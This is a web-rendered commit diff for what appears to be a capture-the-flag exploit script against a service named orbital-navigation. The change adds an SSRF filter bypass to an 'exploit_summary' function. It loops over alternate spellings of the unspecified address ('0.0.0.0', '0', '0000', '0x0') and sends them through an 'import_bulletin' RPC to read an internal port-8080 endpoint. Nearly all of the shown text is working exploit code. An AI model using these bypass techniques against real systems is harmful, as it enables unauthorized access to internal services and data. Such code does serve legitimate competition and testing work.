orbital-navigation: add unspecified-address SSRF bypass #3
@@ -211,14 +211,23 @@ def exploit_summary(base: str, summary_id: str) -> list[str]:
|
|||||||
if status == 200:
|
if status == 200:
|
||||||
return [raw.decode("utf-8", errors="replace")]
|
return [raw.decode("utf-8", errors="replace")]
|
||||||
token = register(base)
|
token = register(base)
|
||||||
result = rpc(
|
last_error = None
|
||||||
base,
|
for internal_host in ("0.0.0.0", "0", "0000", "0x0"):
|
||||||
"import_bulletin",
|
try:
|
||||||
token=token,
|
result = rpc(
|
||||||
url=f"http://127.1:8080{path}",
|
base,
|
||||||
)
|
"import_bulletin",
|
||||||
content = result.get("content") if isinstance(result, dict) else None
|
token=token,
|
||||||
return [content] if isinstance(content, str) else []
|
url=f"http://{internal_host}:8080{path}",
|
||||||
|
)
|
||||||
|
content = result.get("content") if isinstance(result, dict) else None
|
||||||
|
if isinstance(content, str):
|
||||||
|
return [content]
|
||||||
|
except ExploitError as exc:
|
||||||
|
last_error = exc
|
||||||
|
if last_error:
|
||||||
|
raise last_error
|
||||||
|
return []
|
||||||
|
|
||||||
|
|
||||||
def exploit_grant(base: str, flight_ids: list[str], grant_id: str) -> list[str]:
|
def exploit_grant(base: str, flight_ids: list[str], grant_id: str) -> list[str]:
|
||||||
|
|||||||
Reference in new issue
Block a user